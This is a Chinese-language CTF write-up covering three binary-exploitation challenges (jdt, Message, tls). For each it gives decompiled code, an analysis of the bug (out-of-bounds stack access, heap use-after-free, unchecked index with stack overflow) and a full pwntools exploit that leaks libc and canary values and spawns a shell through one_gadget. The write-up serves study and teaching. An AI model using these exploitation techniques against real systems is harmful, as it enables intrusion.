PWN1——JDF
分析
首先看一下保护和版本
题目为64位
程序,保护全开,Libc版本为 2.23
❯ checksec jdt
[*] '/home/n1k0/work/ctf/pwn/race/2021HFCTF/pwn1/jdt'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
打开IDA看一下,这道题乍一看有点像传统的堆表单题,但仔细分析的话发现其实并没有涉及到堆
我们先来看下菜单
题目模拟的是一个卖书软件,功能包括 创建
编辑
输出信息
卖书
和 退出
{
puts("1.Create Books");
puts("2.Edit Books");
puts("3.Show Books");
puts("4.Sell Books");
puts("5.Exit");
return printf("Choice: ");
}
进入函数分析一下这些功能
这个函数的作用是创建结构体的实例,并存入数组s
中
这里需要注意的是数组s
位于栈上,且每个元素的小小为 OWORD
,即 16字节
该结构体每个实例大小为40字节
,变量排布如下:
{
8B price
8B flag
16B name
16B author
32B describtion
}
在本题目中,最多可以创建16个结构体实例
case 1LL:
for ( i = 0; i <= 15; ++i )
{
if ( !*((_QWORD *)&s[5 * i] + 1) )
{
idx = i;
break;
}
idx = -1LL;
}
if ( idx > 0x10 || *((_QWORD *)&s[5 * idx] + 1) == 1LL )
error();
printf("Price?");
*(_QWORD *)&s[5 * idx] = input();
printf("Author?");
read(0, &s[5 * idx + 2], 0x10uLL);
printf("Book's name?");
read(0, &s[5 * idx + 1], 0x10uLL);
printf("Description?");
read(0, &s[5 * idx + 3], 0x20uLL);
*((_QWORD *)&s[5 * idx] + 1) = 1LL;
break;
此函数的功能是编辑结构体实例,但这里存在漏洞
我们在创建实例时只能创建16个,末位编号为 0xf
但在编辑时却能编辑编号为 0x10
的实例,这就造成越界写
case 2LL:
printf("idx?");
idx = input();
if ( idx > 0x10 || !*((_QWORD *)&s[5 * idx] + 1) )
error();
printf("[1.Edit Price][2.Edit Author][3.Edit Book's Name][4.Edit Description]\nChoice: ");
v0 = input();
choice = v0;
if ( v0 == 2 )
{
printf("Author?");
read(0, &s[5 * idx + 2], 0x10uLL);
}
else if ( v0 > 2 )
{
if ( v0 == 3 )
{
printf("Book's Name?");
read(0, &s[5 * idx + 1], 0x10uLL);
}
else
{
if ( v0 != 4 )
goto LABEL_35;
printf("Description?");
read(0, &s[5 * idx + 3], 0x20uLL);
}
}
else
{
if ( v0 != 1 )
goto LABEL_35;
printf("Price?");
*(_QWORD *)&s[5 * idx] = input();
}
break;
和 edit
一样,show
功能也存在越界问题,可以输出rbp
前后的数据
case 3LL:
printf("idx?");
idx = input();
if ( idx > 0x10 || !*((_QWORD *)&s[5 * idx] + 1) )
error();
printf(
"[%llu]\nPrice: %llu\nAuthor: %s\nBook's Name: %s\nDescription: %s\n",
idx,
*(_QWORD *)&s[5 * idx],
(const char *)&s[5 * idx + 2],
(const char *)&s[5 * idx + 1],
(const char *)&s[5 * idx + 3]);
break;
思路
找到漏洞点后,我们就可以开始构思如何 Get shell
了
目前的漏洞是越界读和越界写,可以更改 rbp
附近包含 返回值
在内的数据,但由于程序开启了 PIE
保护,因此我们首先要泄露 code_base
和 libc_base
通过观察 实例16
中的数据可以发现,在 price变量
的位置遗留有包含 code_base
的地址,可以通过 show(16)
泄露 code_base
有了 code_base
之后,我们就可以利用题目中的 gadget
修改返回值来泄露libc地址
最后在获得 libc_base
后即可通过 one_gadgets
来 Get Shell
- 通过
show
越界读获得code_base
- 通过
edit
越界写使用题目中的pop rdi; ret
和puts
函数修改返回值,获得libc_base
- 使用
one_gadgets
修改返回值,Get shell
详见EXP
EXP
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_
from pwn import *
import inspect
from sys import argv
def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
inf = lambda data :success(data)
itr = lambda :p.interactive()
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = ''
binary = './jdt'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(binary)
if len(argv) > 1:
if argv[1]=='r':
p = remote('',)
libc = elf.libc
# libc = ELF(remote_libc)
def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()
# start
"""
puts("1.Create Books");
puts("2.Edit Books");
puts("3.Show Books");
puts("4.Sell Books");
puts("5.Exit");
struct
{
8 price
8 flag
16 name
16 author
32 describtion
}
s : $rbp-0x510
"""
# context.log_level = 'DEBUG'
def add(price,author,name,des):
sa('Choice: ','1')
sa('Price?',str(price))
sa('Author?',author)
sa('s name?',name)
sa('Description?',des)
def edit(idx,choice,data):
sa('Choice: ','2')
sa('idx?',str(idx))
sla('[4.Edit Description]\nChoice: ',str(choice))
sa('?',str(data))
def free(idx):
sa('Choice: ','4')
sa('idx?',str(idx))
def show(idx):
sa('Choice: ','3')
sa('idx?',str(idx))
def exit():
sa('Choice: ','5')
comm = 'b *$rebase(0x1090)\n' # show
comm+= 'b *$rebase(0x1129)\n' # exit
comm+= 'b *$rebase(0x11e3)\n' # pop_rdi
comm+= 'b *0x7ffff7a523a0\n' # system
show(16)
ru('Price: ')
code = int(ru('\n'),10) - 0x8c0
leak(code)
p_rdi_r = code + 0x11e3
edit(16,3,'a'*8+p64(p_rdi_r))
edit(16,2,p64(code+got('puts'))+p64(code+0xa88)) # puts(puts_got)
edit(16,4,p64(code+0x115f)*2) # main
exit()
puts = uu64(ru('\x7f',False)[-6:])
base = puts - 0x6f6a0
leak(base)
leak(puts)
one = [0x45226,0x4527a,0xf0364,0xf1207]
edit(16,3,'a'*8+p64(base+one[0]))
# dbg(comm)
exit()
# end
itr()
PWN2——message
程序分析
题目的核心部分如下:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
_QWORD *v4; // rbx
__int64 v5; // rax
_QWORD *v6; // rbx
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
char *time; // r13
__int64 pho_num; // rbx
__int64 msg; // r12
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
__int64 v18; // rax
__int64 v19; // rax
__int64 v20; // rax
__int64 v21; // rax
__int64 v22; // rax
__int64 v23; // rax
__int64 v24; // rax
__int64 v25; // rax
__int64 v26; // rax
__int64 v27; // rax
signed int v28; // [rsp+4h] [rbp-3Ch]
unsigned __int64 idx; // [rsp+8h] [rbp-38h]
unsigned __int64 size; // [rsp+18h] [rbp-28h]
__int64 savedregs; // [rsp+40h] [rbp+0h]
idx = 0LL;
init_(a1, a2, a3);
welcome();
while ( 1 )
{
menu();
input_int();
switch ( (unsigned __int64)&savedregs )
{
case 1uLL:
v28 = 0;
break;
case 2uLL: // edit message
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "New Message: ");
std::istream::getline(
(std::istream *)&std::cin,
*((char **)message_list[idx] + 2),
*(_QWORD *)message_list[idx]);
}
else
{
v7 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
}
continue;
case 3uLL: // edit time
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "New Time: ");
std::istream::getline((std::istream *)&std::cin, (char *)message_list[idx] + 8, 8LL);
}
else
{
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
}
continue;
case 4uLL: // edit phone number
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "New Phone Number: ");
std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 3), 16LL);
}
else
{
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
}
continue;
case 5uLL:
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
free(*((void **)message_list[idx] + 2));
free(*((void **)message_list[idx] + 3));
free(message_list[idx]);
message_list[idx] = 0LL;
}
else
{
v10 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
}
continue;
case 6uLL:
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 )
{
time = (char *)message_list[idx] + 8;
pho_num = *((_QWORD *)message_list[idx] + 3);
msg = *((_QWORD *)message_list[idx] + 2);
v15 = std::operator<<<std::char_traits<char>>(&std::cout, "[");
v16 = std::ostream::operator<<(v15, idx);
v17 = std::operator<<<std::char_traits<char>>(v16, "]");
v18 = std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
v19 = std::operator<<<std::char_traits<char>>(v18, "Message: ");
v20 = std::operator<<<std::char_traits<char>>(v19, msg);
v21 = std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
v22 = std::operator<<<std::char_traits<char>>(v21, "Phone Number: ");
v23 = std::operator<<<std::char_traits<char>>(v22, pho_num);
v24 = std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
v25 = std::operator<<<std::char_traits<char>>(v24, "Time: ");
v11 = std::operator<<<std::char_traits<char>>(v25, time);
}
else
{
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
}
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
continue;
case 7uLL:
v26 = std::operator<<<std::char_traits<char>>(&std::cout, "Shutdown!");
std::ostream::operator<<(v26, &std::endl<char,std::char_traits<char>>);
exit(0);
return;
default:
v27 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong Command!");
std::ostream::operator<<(v27, &std::endl<char,std::char_traits<char>>);
continue;
}
while ( 1 )
{
if ( v28 > 4 )
goto LABEL_8;
if ( !message_list[v28] )
break;
idx = -1LL;
++v28;
}
idx = v28;
LABEL_8:
if ( idx == -1LL )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Full!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
else
{
message_list[idx] = malloc(0x20uLL);
printf("addr: 0x%x\n", (unsigned __int64)message_list[idx] & 0xFFF);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me time: ");
std::istream::getline((std::istream *)&std::cin, (char *)message_list[idx] + 8, 8LL);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me phone number: ");
v4 = message_list[idx];
v4[3] = malloc(0x18uLL);
std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 3), 16LL);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me message's size: ");
size = input_int();
if ( size > 0x3F && size <= 0x78 )
{
v6 = message_list[idx];
v6[2] = calloc(1uLL, size);
*(_QWORD *)message_list[idx] = size;
printf("addr: 0x%x\n", *((_QWORD *)message_list[idx] + 2) & 0xFFFLL);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me message: ");
std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 2), size);
}
else
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "You can't use this size!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
}
}
}
题目定义了一个Message结构体,结构如下:
struct message
{
size_t size;
char time[8];
char *message_addr;
char *phone_number_addr;
};
功能主要分为三大类:
- 添加Message
- malloc一个message的结构体并存入list列表
- 0x3f < size <= 0x78
- time读入8个字节的内容
- message_addr存储calloc的chunk的指针,该chunk用于存储message的内容,大小为size
- phone_number_addr存储malloc的chunk的指针,该chunk用于存储phone_number的内容,大小为0x18
- 只能同时存在4个message
- 题目会print出message的chunk和message_addr的chunk的地址后三个字节
- 修改Message
- 修改time
- 修改message
- 修改phone_number
- 删除Message
- free掉message_addr、phone_number_addr和message的指针,并将message的指针置0
- 打印Message
利用思路
题目的漏洞点在于free的时候并没有将message_addr的指针清零,如果我们在free了一个message之后再add,并且传入的size不在0x3f到0x78间,则可以对free后的message_addr的chunk进行操作,也就是UAF
那么我们可以通过UAF来构造堆块重叠,修改堆块的大小并free来获得一个unsorted bin并泄漏libc,最后修改message中存储的指针地址来进行任意写或使用fastbin attack修改malloc_hook为one_gadget来getshell
EXP
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
def cmd(idx):
r.sendlineafter("Your Choice:",str(idx))
def add(time,phone_number,size,msg):
cmd(1)
r.recvuntil("addr: 0x")
addr = int(r.recvuntil("\n"),16)
r.sendlineafter("Please tell me time:",time)
r.sendlineafter("Please tell me phone number:",phone_number)
r.sendlineafter("Please tell me message's size:",str(size))
msg_addr = -1
if size > 0x3F and size <= 0x78:
r.recvuntil("addr: 0x")
msg_addr = int(r.recvuntil("\n"),16)
r.sendlineafter("Please tell me message:",msg)
return addr,msg_addr
def edit_msg(idx,msg):
cmd(2)
r.sendlineafter("Please tell me idx:",str(idx))
r.sendlineafter("New Message:",msg)
def edit_time(idx,time):
cmd(3)
r.sendlineafter("Please tell me idx:",str(idx))
r.sendlineafter("New Time:",time)
def edit_phone_number(idx,phone_number):
cmd(4)
r.sendlineafter("Please tell me idx:",str(idx))
r.sendlineafter("New Phone Number:",phone_number)
def free(idx):
cmd(5)
r.sendlineafter("Please tell me idx:",str(idx))
def show(idx):
cmd(6)
r.sendlineafter("Please tell me idx:",str(idx))
def debug(cmd = ""):
gdb.attach(r,cmd)
r = process("./Message")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./Message")
addr,msg_addr = add("0","0",0x60,"0") # 0
addr,msg_addr = add("1","1",0x60,"1") # 1
addr,msg_addr = add("\x71","\x71",0x60,"a" * 0x30) # 2
addr,msg_addr = add("3","3",0x60,"\x71" * 9) # 3
free(1)
free(0)
add("0","0",0x10,"0") # 0
show(0)
r.recvuntil("Message: ")
heap_base = u64(r.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x11d20
success("heap_base : " + hex(heap_base))
payload = "\x71"*0x8 + p64(0x71) + p64(heap_base + 0x11c70)
edit_msg(2,payload)
target_heap = heap_base + 0x11df0
edit_msg(0,p64(target_heap))
addr,msg_addr = add("1","1",0x60,"1") # 1
addr,msg_addr = add("4","4",0x60,"4") # 4
edit_msg(2,"\xb1"*0x9)
free(4)
add("4","4",0x10,"4") # 4
show(4)
r.recvuntil("Message: ")
libc_base = u64(r.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x3c4b78
success("libc_base : " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0x4527a
payload = "\x71"*0x8 + p64(0x71) + p64(malloc_hook-0x23)
edit_msg(0,payload)
free(1)
add("1","1",0x50,"1") # 1
free(1)
add("1","1",0x60,"1") # 1
free(2)
free(1)
edit_msg(0,p64(malloc_hook-0x23))
add("1","1",0x60,"1") # 1
add("2","2",0x60,'1'*0xb+p64(one_gadget)*2) # 2
free(1)
cmd(1)
#debug()
r.interactive()
PWN3——tls
程序分析
这是一到栈溢出的题。在start_routine
中在循环结束后会做如下的操作read(0, &buf, 0x100uLL);
,会造成栈溢出。由于程序开启了canary的保护,所以要泄漏canary。
程序会在栈上维护一个__int64 v20[48]; // [rsp+40h] [rbp-1C0h]
的数组,同时会有一个数组的长度unsigned __int64 n; // [rsp+20h] [rbp-1E0h]
,还有和__int64 sum; // [rsp+38h] [rbp-1C8h]
。程序的表单总共有四个功能:
- 指定一个数组的位置
pos
- 改变
v[pos]
中的内容,有且仅有3次机会 - 将数组中所有的内容(前
n
个)加到sum
上 - 退出循环
利用思路
由于未对设置的pos做任何检查所以可以实现在栈上的任意写。由于数组的长度n
在栈上,利用任意写可以任意改变n的值。利用求和操作我们可以变相的泄漏栈上的地址。要完成getshell就要拿到canary和libc的地址,在调试程序的过程我们发现在canary-8
的位置有一个地址和libc的偏移是固定的。
- 将n设置为
0x1b8//8
,然后求和输出sum
为t
,利用t
和libc的固定偏移算出libc。 - 将
v[0x1b8//8-1]
位置(canary-8
)设置为0 - 将n设置为
0x1c0//8
,求和sum,利用canary=sum-t
(sum
是不清空的)
利用最后buf溢出的漏洞改写ret为gadget获得shell。
EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local == 1:
p = process("./tls")
gads = [0xf1207]
lb = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p=remote("",00)
gads = [0xf1147]
lb = ELF("libc.so.6")
def ch(idx):
p.sendlineafter("Your choice: ", '1')
p.sendlineafter("Please input pos: ", str(idx))
def edit(num):
p.sendlineafter("Your choice: ", '2')
p.sendlineafter("Please input new number: ", str(num))
def sm():
p.sendlineafter("Your choice: ", '3')
def ex():
p.sendlineafter("Your choice: ", '4')
p.sendlineafter("How many? ", str(0x30))
# pause()
for i in range(0x30):
p.sendline('0')
ch(-4)
edit(0x1b8//8)
sm()
p.recvuntil("result = ")
t = int(p.recvuntil('\n'))
libc = t + 0x51f900
print("libc:", hex(libc))
gdb.attach(p)
ch(0x1b8//8-1)
edit(0)
ch(-4)
edit(0x1c0//8)
# ch(0x1c0//8-1)
# edit(0)
sm()
p.recvuntil("result = ")
can = int(p.recvuntil('\n'))
if can < 0:
can = can+(1 << 64)
can-=t
print("can:", hex(can))
# pause()
gdb.attach(p)
ex();
gadget = libc+gads[0]
p.recvuntil("Oh!What is your name? ")
pay=0x38*b'a'+p64(can)+p64(gadget)*2
p.send(pay)
p.interactive()
发表评论
您还未登录,请先登录。
登录